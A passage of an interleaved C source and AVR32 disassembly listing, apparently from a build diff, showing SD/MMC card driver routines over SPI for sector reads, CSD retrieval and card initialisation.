sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); +80002724: 4b f8 lddpc r8,80002820 +80002726: 70 0b ld.w r11,r8[0x0] +80002728: 31 1c mov r12,17 +8000272a: f0 1f 00 3f mcall 80002824 +8000272e: 4b f8 lddpc r8,80002828 +80002730: b0 8c st.b r8[0x0],r12 + } + + // check for valid response + if (r1 != 0x00) +80002732: 4b e8 lddpc r8,80002828 +80002734: 11 89 ld.ub r9,r8[0x0] +80002736: 30 08 mov r8,0 +80002738: f0 09 18 00 cp.b r9,r8 +8000273c: c1 20 breq 80002760 + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +8000273e: 30 1b mov r11,1 +80002740: fe 7c 24 00 mov r12,-56320 +80002744: f0 1f 00 3a mcall 8000282c +80002748: 30 0c mov r12,0 + return KO; +8000274a: c6 18 rjmp 8000280c + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; +8000274c: 20 17 sub r7,1 +8000274e: 5c 87 casts.h r7 + if (read_time_out == 0) // TIME-OUT +80002750: c0 e1 brne 8000276c + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +80002752: 30 1b mov r11,1 +80002754: fe 7c 24 00 mov r12,-56320 +80002758: f0 1f 00 35 mcall 8000282c +8000275c: 30 0c mov r12,0 + return KO; +8000275e: c5 78 rjmp 8000280c +80002760: e0 67 75 30 mov r7,30000 + return KO; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) +80002764: e0 65 00 ff mov r5,255 +80002768: 4b 04 lddpc r4,80002828 +8000276a: 3f f6 mov r6,-1 +8000276c: 0a 9c mov r12,r5 +8000276e: f0 1f 00 31 mcall 80002830 +80002772: a8 8c st.b r4[0x0],r12 +80002774: ec 0c 18 00 cp.b r12,r6 +80002778: ce a0 breq 8000274c + return KO; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) +8000277a: 3f e8 mov r8,-2 +8000277c: f0 0c 18 00 cp.b r12,r8 +80002780: c0 e0 breq 8000279c + { + spi_write(SD_MMC_SPI,0xFF); +80002782: e0 6b 00 ff mov r11,255 +80002786: fe 7c 24 00 mov r12,-56320 +8000278a: f0 1f 00 2b mcall 80002834 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +8000278e: 30 1b mov r11,1 +80002790: fe 7c 24 00 mov r12,-56320 +80002794: f0 1f 00 26 mcall 8000282c +80002798: 30 0c mov r12,0 + return KO; +8000279a: c3 98 rjmp 8000280c +//! The read succeeded -> OK +//! The read failed (bad address, etc.) -> KO +//!/ +Bool sd_mmc_spi_read_sector_to_ram(void *ram) +{ + uint8_t *_ram = ram; +8000279c: 06 97 mov r7,r3 +//! +//! @return bit +//! The read succeeded -> OK +//! The read failed (bad address, etc.) -> KO +//!/ +Bool sd_mmc_spi_read_sector_to_ram(void *ram) +8000279e: e6 c5 fe 00 sub r5,r3,-512 + } + + // store datablock + for(i=0;i + spi_read(SD_MMC_SPI,&data_read); +800027b6: 06 9b mov r11,r3 +800027b8: 0c 9c mov r12,r6 +800027ba: f0 1f 00 20 mcall 80002838 + *_ram++=data_read; +800027be: 9a 18 ld.sh r8,sp[0x2] +800027c0: 0e c8 st.b r7++,r8 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // store datablock + for(i=0;i + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + *_ram++=data_read; + } + gl_ptr_mem += 512; // Update the memory pointer. +800027c6: 49 78 lddpc r8,80002820 +800027c8: 70 09 ld.w r9,r8[0x0] +800027ca: f2 c9 fe 00 sub r9,r9,-512 +800027ce: 91 09 st.w r8[0x0],r9 + + // load 16-bit CRC (ignored) + spi_write(SD_MMC_SPI,0xFF); +800027d0: e0 6b 00 ff mov r11,255 +800027d4: fe 7c 24 00 mov r12,-56320 +800027d8: f0 1f 00 17 mcall 80002834 + spi_write(SD_MMC_SPI,0xFF); +800027dc: e0 6b 00 ff mov r11,255 +800027e0: fe 7c 24 00 mov r12,-56320 +800027e4: f0 1f 00 14 mcall 80002834 + + // continue delivering some clock cycles + spi_write(SD_MMC_SPI,0xFF); +800027e8: e0 6b 00 ff mov r11,255 +800027ec: fe 7c 24 00 mov r12,-56320 +800027f0: f0 1f 00 11 mcall 80002834 + spi_write(SD_MMC_SPI,0xFF); +800027f4: e0 6b 00 ff mov r11,255 +800027f8: fe 7c 24 00 mov r12,-56320 +800027fc: f0 1f 00 0e mcall 80002834 + + // release chip select + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +80002800: 30 1b mov r11,1 +80002802: fe 7c 24 00 mov r12,-56320 +80002806: f0 1f 00 0a mcall 8000282c +8000280a: 30 1c mov r12,1 + + return OK; // Read done. +} +8000280c: 2f fd sub sp,-4 +8000280e: e3 cd 80 f8 ldm sp++,r3-r7,pc +80002812: 00 00 add r0,r0 +80002814: 80 00 ld.sh r0,r0[0x0] +80002816: 22 40 sub r0,36 +80002818: 80 00 ld.sh r0,r0[0x0] +8000281a: 30 92 mov r2,9 +8000281c: 00 00 add r0,r0 +8000281e: 04 12 sub r2,r2 +80002820: 00 00 add r0,r0 +80002822: 00 f0 st.b --r0,r0 +80002824: 80 00 ld.sh r0,r0[0x0] +80002826: 22 d8 sub r8,45 +80002828: 00 00 add r0,r0 +8000282a: 04 24 rsub r4,r2 +8000282c: 80 00 ld.sh r0,r0[0x0] +8000282e: 30 de mov lr,13 +80002830: 80 00 ld.sh r0,r0[0x0] +80002832: 22 0c sub r12,32 +80002834: 80 00 ld.sh r0,r0[0x0] +80002836: 31 c6 mov r6,28 +80002838: 80 00 ld.sh r0,r0[0x0] +8000283a: 31 e2 mov r2,30 + +8000283c : +//! @param buffer to fill +//! +//! @return bit +//! OK / KO +Bool sd_mmc_spi_get_csd(uint8_t *buffer) +{ +8000283c: eb cd 40 fc pushm r2-r7,lr +80002840: 20 1d sub sp,4 +80002842: 18 92 mov r2,r12 +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) +80002844: f0 1f 00 32 mcall 8000290c +80002848: c5 f0 breq 80002906 + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +8000284a: 30 1b mov r11,1 +8000284c: fe 7c 24 00 mov r12,-56320 +80002850: f0 1f 00 30 mcall 80002910 + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CSD, 0); +80002854: 30 0b mov r11,0 +80002856: 30 9c mov r12,9 +80002858: f0 1f 00 2f mcall 80002914 +8000285c: 4a f8 lddpc r8,80002918 +8000285e: b0 8c st.b r8[0x0],r12 + // check for valid response + if(r1 != 0x00) +80002860: 58 0c cp.w r12,0 +80002862: c0 81 brne 80002872 +80002864: 30 07 mov r7,0 + sd_mmc_spi_init_done = false; + return KO; + } + // wait for block start + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) +80002866: e0 64 00 ff mov r4,255 +8000286a: 10 93 mov r3,r8 +8000286c: 3f e6 mov r6,-2 + { + if (retry > 8) +8000286e: 30 95 mov r5,9 +80002870: c1 78 rjmp 8000289e + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CSD, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +80002872: 30 1b mov r11,1 +80002874: fe 7c 24 00 mov r12,-56320 +80002878: f0 1f 00 29 mcall 8000291c + sd_mmc_spi_init_done = false; +8000287c: 30 09 mov r9,0 +8000287e: 4a 98 lddpc r8,80002920 +80002880: b0 89 st.b r8[0x0],r9 +80002882: 30 0c mov r12,0 + return KO; +80002884: c4 18 rjmp 80002906 + } + // wait for block start + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) +80002886: ea 07 18 00 cp.b r7,r5 +8000288a: c0 81 brne 8000289a + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +8000288c: 30 1b mov r11,1 +8000288e: fe 7c 24 00 mov r12,-56320 +80002892: f0 1f 00 23 mcall 8000291c +80002896: 30 0c mov r12,0 + return KO; +80002898: c3 78 rjmp 80002906 + } + retry++; +8000289a: 2f f7 sub r7,-1 +8000289c: 5c 57 castu.b r7 + sd_mmc_spi_init_done = false; + return KO; + } + // wait for block start + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) +8000289e: 08 9c mov r12,r4 +800028a0: f0 1f 00 21 mcall 80002924 +800028a4: a6 8c st.b r3[0x0],r12 +800028a6: ec 0c 18 00 cp.b r12,r6 +800028aa: ce e1 brne 80002886 +800028ac: 30 07 mov r7,0 + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); +800028ae: e0 65 00 ff mov r5,255 +800028b2: fe 76 24 00 mov r6,-56320 + spi_read(SD_MMC_SPI,&data_read); +800028b6: fa c4 ff fe sub r4,sp,-2 + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); +800028ba: 0a 9b mov r11,r5 +800028bc: 0c 9c mov r12,r6 +800028be: f0 1f 00 1b mcall 80002928 + spi_read(SD_MMC_SPI,&data_read); +800028c2: 08 9b mov r11,r4 +800028c4: 0c 9c mov r12,r6 +800028c6: f0 1f 00 1a mcall 8000292c + buffer[retry] = data_read; +800028ca: 9a 18 ld.sh r8,sp[0x2] +800028cc: e4 07 0b 08 st.b r2[r7],r8 +800028d0: 2f f7 sub r7,-1 + return KO; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) +800028d2: 59 07 cp.w r7,16 +800028d4: cf 31 brne 800028ba + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) +800028d6: e0 6b 00 ff mov r11,255 +800028da: fe 7c 24 00 mov r12,-56320 +800028de: f0 1f 00 13 mcall 80002928 + spi_write(SD_MMC_SPI,0xFF); +800028e2: e0 6b 00 ff mov r11,255 +800028e6: fe 7c 24 00 mov r12,-56320 +800028ea: f0 1f 00 10 mcall 80002928 + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction +800028ee: e0 6b 00 ff mov r11,255 +800028f2: fe 7c 24 00 mov r12,-56320 +800028f6: f0 1f 00 0d mcall 80002928 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +800028fa: 30 1b mov r11,1 +800028fc: fe 7c 24 00 mov r12,-56320 +80002900: f0 1f 00 07 mcall 8000291c +80002904: 30 1c mov r12,1 + return OK; +} +80002906: 2f fd sub sp,-4 +80002908: e3 cd 80 fc ldm sp++,r2-r7,pc +8000290c: 80 00 ld.sh r0,r0[0x0] +8000290e: 22 40 sub r0,36 +80002910: 80 00 ld.sh r0,r0[0x0] +80002912: 30 92 mov r2,9 +80002914: 80 00 ld.sh r0,r0[0x0] +80002916: 22 d8 sub r8,45 +80002918: 00 00 add r0,r0 +8000291a: 04 24 rsub r4,r2 +8000291c: 80 00 ld.sh r0,r0[0x0] +8000291e: 30 de mov lr,13 +80002920: 00 00 add r0,r0 +80002922: 01 08 ld.w r8,r0++ +80002924: 80 00 ld.sh r0,r0[0x0] +80002926: 22 0c sub r12,32 +80002928: 80 00 ld.sh r0,r0[0x0] +8000292a: 31 c6 mov r6,28 +8000292c: 80 00 ld.sh r0,r0[0x0] +8000292e: 31 e2 mov r2,30 + +80002930 : +//! +//! +//! @return bit +//! The memory is ready -> OK (always) +Bool sd_mmc_spi_internal_init(void) +{ +80002930: d4 31 pushm r0-r7,lr + uint16_t retry; + int i; + int if_cond; + + // Start at low frequency + sd_mmc_opt.baudrate = 400000; +80002932: fe fb 02 6a ld.w r11,pc[618] +80002936: e6 68 1a 80 mov r8,400000 +8000293a: 97 18 st.w r11[0x4],r8 + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); +8000293c: fe f8 02 64 ld.w r8,pc[612] +80002940: 70 0a ld.w r10,r8[0x0] +80002942: fe 7c 24 00 mov r12,-56320 +80002946: f0 1f 00 98 mcall 80002ba4 + + /* card needs 74 cycles minimum to start up */ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +8000294a: 30 1b mov r11,1 +8000294c: fe 7c 24 00 mov r12,-56320 +80002950: f0 1f 00 96 mcall 80002ba8 +80002954: 30 07 mov r7,0 + for(i = 0; i < 10; ++i) { + spi_write(SD_MMC_SPI,0xFF); +80002956: e0 66 00 ff mov r6,255 +8000295a: fe 75 24 00 mov r5,-56320 +8000295e: 0c 9b mov r11,r6 +80002960: 0a 9c mov r12,r5 +80002962: f0 1f 00 93 mcall 80002bac + sd_mmc_opt.baudrate = 400000; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + + /* card needs 74 cycles minimum to start up */ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + for(i = 0; i < 10; ++i) { +80002966: 2f f7 sub r7,-1 +80002968: 58 a7 cp.w r7,10 +8000296a: cf a1 brne 8000295e + spi_write(SD_MMC_SPI,0xFF); + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +8000296c: 30 1b mov r11,1 +8000296e: fe 7c 24 00 mov r12,-56320 +80002972: f0 1f 00 90 mcall 80002bb0 + + // RESET THE MEMORY CARD + sd_mmc_spi_init_done = false; +80002976: 30 08 mov r8,0 +80002978: fe f9 02 3c ld.w r9,pc[572] +8000297c: b2 88 st.b r9[0x0],r8 + card_type = MMC_CARD; +8000297e: fe f9 02 3a ld.w r9,pc[570] +80002982: b2 88 st.b r9[0x0],r8 + retry = 0; + do + { + // reset card and go to SPI mode + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); +80002984: 30 0b mov r11,0 +80002986: 16 9c mov r12,r11 +80002988: f0 1f 00 8d mcall 80002bbc +8000298c: fe f8 02 34 ld.w r8,pc[564] +80002990: b0 8c st.b r8[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002992: e0 6b 00 ff mov r11,255 +80002996: fe 7c 24 00 mov r12,-56320 +8000299a: f0 1f 00 85 mcall 80002bac +8000299e: 30 17 mov r7,1 + // do retry counter + retry++; + if(retry > 100) + return KO; + } + while(r1 != 0x01); // check memory enters idle_state +800029a0: fe f6 02 20 ld.w r6,pc[544] +800029a4: 30 15 mov r5,1 + card_type = MMC_CARD; + retry = 0; + do + { + // reset card and go to SPI mode + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); +800029a6: 30 03 mov r3,0 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +800029a8: e0 62 00 ff mov r2,255 +800029ac: fe 71 24 00 mov r1,-56320 + // do retry counter + retry++; + if(retry > 100) +800029b0: 36 54 mov r4,101 +800029b2: c1 08 rjmp 800029d2 + card_type = MMC_CARD; + retry = 0; + do + { + // reset card and go to SPI mode + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); +800029b4: 06 9b mov r11,r3 +800029b6: 06 9c mov r12,r3 +800029b8: f0 1f 00 81 mcall 80002bbc +800029bc: ac 8c st.b r6[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +800029be: 04 9b mov r11,r2 +800029c0: 02 9c mov r12,r1 +800029c2: f0 1f 00 7b mcall 80002bac + // do retry counter + retry++; +800029c6: 2f f7 sub r7,-1 +800029c8: 5c 87 casts.h r7 + if(retry > 100) +800029ca: e8 07 19 00 cp.h r7,r4 +800029ce: e0 80 00 e5 breq 80002b98 + return KO; + } + while(r1 != 0x01); // check memory enters idle_state +800029d2: 0d 88 ld.ub r8,r6[0x0] +800029d4: ea 08 18 00 cp.b r8,r5 +800029d8: ce e1 brne 800029b4 + + if_cond = sd_mmc_spi_get_if(); +800029da: f0 1f 00 7b mcall 80002bc4 + if(if_cond == -1) { +800029de: 5b fc cp.w r12,-1 +800029e0: e0 80 00 dc breq 80002b98 + return KO; // card is bad + } else if (if_cond == 1) { +800029e4: 58 1c cp.w r12,1 +800029e6: c0 51 brne 800029f0 + card_type = SD_CARD_2; +800029e8: 30 29 mov r9,2 +800029ea: 4f 48 lddpc r8,80002bb8 +800029ec: b0 89 st.b r8[0x0],r9 +800029ee: c4 c8 rjmp 80002a86 + } else { + // IDENTIFICATION OF THE CARD TYPE (SD or MMC) + // Both cards will accept CMD55 command but only the SD card will respond to ACMD41 + r1 = sd_mmc_spi_send_command(SD_APP_CMD55,0); +800029f0: 30 0b mov r11,0 +800029f2: 33 7c mov r12,55 +800029f4: f0 1f 00 72 mcall 80002bbc +800029f8: 4f 27 lddpc r7,80002bc0 +800029fa: ae 8c st.b r7[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +800029fc: e0 6b 00 ff mov r11,255 +80002a00: fe 7c 24 00 mov r12,-56320 +80002a04: f0 1f 00 6a mcall 80002bac + + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); +80002a08: 30 0b mov r11,0 +80002a0a: 32 9c mov r12,41 +80002a0c: f0 1f 00 6c mcall 80002bbc +80002a10: ae 8c st.b r7[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002a12: e0 6b 00 ff mov r11,255 +80002a16: fe 7c 24 00 mov r12,-56320 +80002a1a: f0 1f 00 65 mcall 80002bac + + if ((r1&0xFE) == 0) { // ignore "in_idle_state" flag bit +80002a1e: 0f 88 ld.ub r8,r7[0x0] +80002a20: e2 18 00 fe andl r8,0xfe,COH +80002a24: c0 51 brne 80002a2e + card_type = SD_CARD; // card has accepted the command, this is a SD card +80002a26: 30 19 mov r9,1 +80002a28: 4e 48 lddpc r8,80002bb8 +80002a2a: b0 89 st.b r8[0x0],r9 +80002a2c: c2 d8 rjmp 80002a86 + } else { + card_type = MMC_CARD; // card has not responded, this is a MMC card +80002a2e: 30 09 mov r9,0 +80002a30: 4e 28 lddpc r8,80002bb8 +80002a32: b0 89 st.b r8[0x0],r9 + // reset card again + retry = 0; + do { + // reset card again + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); +80002a34: 30 0b mov r11,0 +80002a36: 16 9c mov r12,r11 +80002a38: f0 1f 00 61 mcall 80002bbc +80002a3c: 4e 18 lddpc r8,80002bc0 +80002a3e: b0 8c st.b r8[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002a40: e0 6b 00 ff mov r11,255 +80002a44: fe 7c 24 00 mov r12,-56320 +80002a48: f0 1f 00 59 mcall 80002bac +80002a4c: 30 17 mov r7,1 + // do retry counter + retry++; + if(retry > 100) + return KO; + } + while(r1 != 0x01); // check memory enters idle_state +80002a4e: 4d d6 lddpc r6,80002bc0 +80002a50: 30 15 mov r5,1 + card_type = MMC_CARD; // card has not responded, this is a MMC card + // reset card again + retry = 0; + do { + // reset card again + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); +80002a52: 30 03 mov r3,0 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002a54: e0 62 00 ff mov r2,255 +80002a58: fe 71 24 00 mov r1,-56320 + // do retry counter + retry++; + if(retry > 100) +80002a5c: 36 54 mov r4,101 +80002a5e: c1 08 rjmp 80002a7e + card_type = MMC_CARD; // card has not responded, this is a MMC card + // reset card again + retry = 0; + do { + // reset card again + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); +80002a60: 06 9b mov r11,r3 +80002a62: 06 9c mov r12,r3 +80002a64: f0 1f 00 56 mcall 80002bbc +80002a68: ac 8c st.b r6[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002a6a: 04 9b mov r11,r2 +80002a6c: 02 9c mov r12,r1 +80002a6e: f0 1f 00 50 mcall 80002bac + // do retry counter + retry++; +80002a72: 2f f7 sub r7,-1 +80002a74: 5c 87 casts.h r7 + if(retry > 100) +80002a76: e8 07 19 00 cp.h r7,r4 +80002a7a: e0 80 00 8f breq 80002b98 + return KO; + } + while(r1 != 0x01); // check memory enters idle_state +80002a7e: 0d 88 ld.ub r8,r6[0x0] +80002a80: ea 08 18 00 cp.b r8,r5 +80002a84: ce e1 brne 80002a60 +80002a86: 30 07 mov r7,0 + + // CONTINUE INTERNAL INITIALIZATION OF THE CARD + // Continue sending CMD1 while memory card is in idle state + retry = 0; + do { + switch(card_type) { +80002a88: 4c c4 lddpc r4,80002bb8 +80002a8a: 30 15 mov r5,1 + case MMC_CARD: + r1 = sd_mmc_spi_send_command(MMC_SEND_OP_COND, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD: + sd_mmc_spi_send_command(SD_APP_CMD55,0); +80002a8c: 0e 93 mov r3,r7 +80002a8e: 33 70 mov r0,55 + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); +80002a90: 4c c6 lddpc r6,80002bc0 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002a92: e0 62 00 ff mov r2,255 +80002a96: fe 71 24 00 mov r1,-56320 + + // CONTINUE INTERNAL INITIALIZATION OF THE CARD + // Continue sending CMD1 while memory card is in idle state + retry = 0; + do { + switch(card_type) { +80002a9a: 09 88 ld.ub r8,r4[0x0] +80002a9c: ea 08 18 00 cp.b r8,r5 +80002aa0: c1 10 breq 80002ac2 +80002aa2: c0 63 brcs 80002aae +80002aa4: 30 29 mov r9,2 +80002aa6: f2 08 18 00 cp.b r8,r9 +80002aaa: c2 91 brne 80002afc +80002aac: c1 98 rjmp 80002ade + case MMC_CARD: + r1 = sd_mmc_spi_send_command(MMC_SEND_OP_COND, 0); +80002aae: 06 9b mov r11,r3 +80002ab0: 30 1c mov r12,1 +80002ab2: f0 1f 00 43 mcall 80002bbc +80002ab6: ac 8c st.b r6[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002ab8: 04 9b mov r11,r2 +80002aba: 02 9c mov r12,r1 +80002abc: f0 1f 00 3c mcall 80002bac + break; +80002ac0: c1 e8 rjmp 80002afc + case SD_CARD: + sd_mmc_spi_send_command(SD_APP_CMD55,0); +80002ac2: 06 9b mov r11,r3 +80002ac4: 00 9c mov r12,r0 +80002ac6: f0 1f 00 3e mcall 80002bbc + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); +80002aca: 06 9b mov r11,r3 +80002acc: 32 9c mov r12,41 +80002ace: f0 1f 00 3c mcall 80002bbc +80002ad2: ac 8c st.b r6[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002ad4: 04 9b mov r11,r2 +80002ad6: 02 9c mov r12,r1 +80002ad8: f0 1f 00 35 mcall 80002bac + break; +80002adc: c1 08 rjmp 80002afc + case SD_CARD_2: + // set high capacity bit mask + sd_mmc_spi_send_command(SD_APP_CMD55,0); +80002ade: 06 9b mov r11,r3 +80002ae0: 00 9c mov r12,r0 +80002ae2: f0 1f 00 37 mcall 80002bbc + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0x40000000); +80002ae6: 30 0b mov r11,0 +80002ae8: ea 1b 40 00 orh r11,0x4000 +80002aec: 32 9c mov r12,41 +80002aee: f0 1f 00 34 mcall 80002bbc +80002af2: ac 8c st.b r6[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002af4: 04 9b mov r11,r2 +80002af6: 02 9c mov r12,r1 +80002af8: f0 1f 00 2d mcall 80002bac + break; + } + // do retry counter + retry++; +80002afc: 2f f7 sub r7,-1 +80002afe: 5c 87 casts.h r7 + if(retry == 50000) // measured approx. 500 on several cards +80002b00: fe 78 c3 50 mov r8,-15536 +80002b04: f0 07 19 00 cp.h r7,r8 +80002b08: c4 80 breq 80002b98 + return KO; + } while (r1); +80002b0a: 0d 89 ld.ub r9,r6[0x0] +80002b0c: 30 08 mov r8,0 +80002b0e: f0 09 18 00 cp.b r9,r8 +80002b12: cc 41 brne 80002a9a + + // CHECK FOR SDHC + if(card_type == SD_CARD_2) { +80002b14: 4a 98 lddpc r8,80002bb8 +80002b16: 11 89 ld.ub r9,r8[0x0] +80002b18: 30 28 mov r8,2 +80002b1a: f0 09 18 00 cp.b r9,r8 +80002b1e: c0 a1 brne 80002b32 + if_cond = sd_mmc_spi_check_hc(); +80002b20: f0 1f 00 2a mcall 80002bc8 + if (if_cond == -1) { +80002b24: 5b fc cp.w r12,-1 +80002b26: c3 90 breq 80002b98 + return KO; + } else if (if_cond == 1){ +80002b28: 58 1c cp.w r12,1 +80002b2a: c0 41 brne 80002b32 + card_type = SD_CARD_2_SDHC; +80002b2c: 30 39 mov r9,3 +80002b2e: 4a 38 lddpc r8,80002bb8 +80002b30: b0 89 st.b r8[0x0],r9 + } + } + + // DISABLE CRC TO SIMPLIFY AND SPEED UP COMMUNICATIONS + r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0); // disable CRC (should be already initialized on SPI init) +80002b32: 30 0b mov r11,0 +80002b34: 33 bc mov r12,59 +80002b36: f0 1f 00 22 mcall 80002bbc +80002b3a: 4a 27 lddpc r7,80002bc0 +80002b3c: ae 8c st.b r7[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002b3e: e0 6b 00 ff mov r11,255 +80002b42: fe 7c 24 00 mov r12,-56320 +80002b46: f0 1f 00 1a mcall 80002bac + + // SET BLOCK LENGTH TO 512 BYTES + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 512); +80002b4a: e0 6b 02 00 mov r11,512 +80002b4e: 31 0c mov r12,16 +80002b50: f0 1f 00 1b mcall 80002bbc +80002b54: ae 8c st.b r7[0x0],r12 + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002b56: e0 6b 00 ff mov r11,255 +80002b5a: fe 7c 24 00 mov r12,-56320 +80002b5e: f0 1f 00 14 mcall 80002bac + if (r1 != 0x00) +80002b62: 0f 89 ld.ub r9,r7[0x0] +80002b64: 30 08 mov r8,0 +80002b66: f0 09 18 00 cp.b r9,r8 +80002b6a: c1 71 brne 80002b98 + return KO; // card unsupported if block length of 512b is not accepted + + // GET CARD SPECIFIC DATA + if (KO == sd_mmc_spi_get_csd(csd)) +80002b6c: 49 8c lddpc r12,80002bcc +80002b6e: f0 1f 00 19 mcall 80002bd0 +80002b72: c1 30 breq 80002b98 + return KO; + + // GET CARD CAPACITY and NUMBER OF SECTORS + sd_mmc_spi_get_capacity(); +80002b74: f0 1f 00 18 mcall 80002bd4 +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == ENABLED) + if (KO == sd_mmc_spi_get_cid(cid)) + return KO; +#endif + + sd_mmc_spi_init_done = true; +80002b78: 30 19 mov r9,1 +80002b7a: 48 f8 lddpc r8,80002bb4 +80002b7c: b0 89 st.b r8[0x0],r9 + + // Set SPI Speed to MAX + sd_mmc_opt.baudrate = SD_MMC_SPI_MASTER_SPEED; +80002b7e: 48 8b lddpc r11,80002b9c +80002b80: e0 68 1b 00 mov r8,6912 +80002b84: ea 18 00 b7 orh r8,0xb7 +80002b88: 97 18 st.w r11[0x4],r8 + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); +80002b8a: 48 68 lddpc r8,80002ba0 +80002b8c: 70 0a ld.w r10,r8[0x0] +80002b8e: fe 7c 24 00 mov r12,-56320 +80002b92: f0 1f 00 05 mcall 80002ba4 +80002b96: da 3a popm r0-r7,pc,r12=1 + return OK; +80002b98: d8 3a popm r0-r7,pc,r12=0 +80002b9a: 00 00 add r0,r0 +80002b9c: 00 00 add r0,r0 +80002b9e: 00 f4 st.b --r0,r4 +80002ba0: 00 00 add r0,r0 +80002ba2: 01 04 ld.w r4,r0++ +80002ba4: 80 00 ld.sh r0,r0[0x0] +80002ba6: 31 08 mov r8,16 +80002ba8: 80 00 ld.sh r0,r0[0x0] +80002baa: 30 92 mov r2,9 +80002bac: 80 00 ld.sh r0,r0[0x0] +80002bae: 31 c6 mov r6,28 +80002bb0: 80 00 ld.sh r0,r0[0x0] +80002bb2: 30 de mov lr,13 +80002bb4: 00 00 add r0,r0 +80002bb6: 01 08 ld.w r8,r0++ +80002bb8: 00 00 add r0,r0 +80002bba: 04 12 sub r2,r2 +80002bbc: 80 00 ld.sh r0,r0[0x0] +80002bbe: 23 a0 sub r0,58 +80002bc0: 00 00 add r0,r0 +80002bc2: 04 24 rsub r4,r2 +80002bc4: 80 00 ld.sh r0,r0[0x0] +80002bc6: 26 34 sub r4,99 +80002bc8: 80 00 ld.sh r0,r0[0x0] +80002bca: 25 a8 sub r8,90 +80002bcc: 00 00 add r0,r0 +80002bce: 04 14 sub r4,r2 +80002bd0: 80 00 ld.sh r0,r0[0x0] +80002bd2: 28 3c sub r12,-125 +80002bd4: 80 00 ld.sh r0,r0[0x0] +80002bd6: 21 00 sub r0,16 + +80002bd8 : +//! +//! @return bit +//! The memory is ready -> OK +//! The memory check failed -> KO +Bool sd_mmc_spi_mem_check(void) +{ 